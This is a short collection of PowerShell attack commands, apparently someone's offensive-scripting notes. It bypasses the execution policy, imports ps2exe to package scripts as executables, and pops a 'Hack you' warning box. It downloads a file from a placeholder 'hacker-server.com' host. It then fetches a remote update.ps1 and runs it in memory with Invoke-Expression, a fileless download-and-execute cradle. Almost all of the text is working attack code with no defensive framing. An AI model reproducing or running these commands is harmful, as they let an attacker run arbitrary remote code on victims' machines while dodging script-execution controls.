Get-ExecutionPolicy
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
Import-Module ps2exe
powershell -Command "Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('GrHatT Hack you', 'Warning', [System.Windows.MessageBoxButton]::OK, [System.Windows.MessageBoxImage]::Warning)"
Invoke-WebRequest -Uri "http://hacker-server.com/image.jpg" -OutFile "C:\path\to\save\image.jpg"
#URL of the script to download
$scriptUrl ="http://192.168.159.134/update.ps1"
# Download the script content
$scriptBytes = Invoke-WebRequest -Uri $scriptUrl -UseBasicParsing -Method Get -MaximumRedirection 0
$scriptContent = [System.Text.Encoding]::UTF8.GetString($scriptBytes.Content)
#Execute the script in memory
Invoke-Expression -Command $scriptContent